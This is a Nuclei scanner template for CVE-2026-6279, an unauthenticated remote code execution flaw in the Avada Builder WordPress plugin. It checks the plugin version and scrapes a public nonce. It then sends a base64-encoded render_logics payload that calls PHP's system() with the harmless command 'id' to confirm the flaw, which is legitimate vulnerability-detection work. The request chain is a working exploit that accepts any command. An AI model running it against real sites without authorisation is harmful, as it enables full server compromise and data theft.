Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection

id: CVE-2026-6279

info:
  name: Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The Avada Builder (fusion-builder) plugin for WordPress (versions <= 3.15.2) is vulnerable to unauthenticated remote code execution via PHP function injection. The fusion_get_widget_markup AJAX action is registered for unauthenticated users (wp_ajax_nopriv_fusion_get_widget_markup) and is gated only by check_ajax_referer('fusion_load_nonce') - which validates nonce integrity, not user identity. That nonce is minted with wp_create_nonce() for user ID 0 and is deterministically inlined into the JavaScript (fusionPostCardsVars / fusionTableOfContentsVars, key "nonce") of any public page that renders a [fusion_post_cards] or [fusion_table_of_contents] shortcode. The attacker-controlled render_logics parameter is base64-decoded and JSON-decoded, and in the wp_conditional_tags case of Fusion_Builder_Conditional_Render_Helper::get_value() the decoded function and args are passed directly to call_user_func() with no allowlist, enabling arbitrary PHP function (and thus OS command) execution.
  impact: |
    Unauthenticated remote code execution. An anonymous attacker who scrapes the public UID-0 nonce can invoke any single-argument PHP function (system, passthru, shell_exec, exec, file_get_contents, assert, ...), achieving full server compromise, data exfiltration and web shell deployment.
  remediation: |
    Update Avada Theme / Avada Builder (fusion-builder) to version 3.15.3 or later, which adds a function allowlist to the wp_conditional_tags render_logics handler.
  reference:
    - https://github.com/advisories/GHSA-f53p-382v-8pj7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6279
    - https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531
    - https://github.com/xxconi/CVE-2026-6279
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-6279
    cwe-id: CWE-74
  metadata:
    verified: true
    max-request: 3
    vendor: themefusion
    product: fusion-builder
    framework: wordpress
    shodan-query: http.component:"Avada Theme"
    fofa-query: body="fusion-builder" && body="avada"
  tags: cve,cve2026,wordpress,wp-plugin,rce,injection,unauth,avada,fusion-builder,vkev,kev

variables:
  cmd: "id"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/fusion-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains_any(body, "Avada Builder", "fusion-builder")'
          - 'compare_versions(plugin_version, "<= 3.15.2")'
        condition: and

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
        internal: true

  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/"
        - "/blog/"
        - "/blog-cards/"
        - "/news/"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "fusionPostCardsVars", "fusionTableOfContentsVars")'
        internal: true

    extractors:
      - type: regex
        name: fusion_nonce
        part: body
        group: 1
        regex:
          - 'fusion(?:PostCards|TableOfContents)Vars\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-f0-9]{8,})"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=fusion_get_widget_markup&fusion_load_nonce={{fusion_nonce}}&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2&render_logics={{url_encode(base64(concat('{"type":"wp_conditional_tags","value":{"function":"system","args":"', cmd, '"}}')))}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "uid=","gid=")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: command_output
        part: body
        group: 1
        regex:
          - "(uid=[0-9]+\\([a-z0-9_-]+\\)[^<\\n]*)"
# digest: 4a0a00473045022100d333c0ed2f20ce2d87e4724721767a8b6bf9e941593494d4ffc4f8659e3b522d0220544071b9c0af28c71a4a56c10798539a0aa984fcee101af0398965e8ace91328:922c64590222798bb761d5b6d8e72950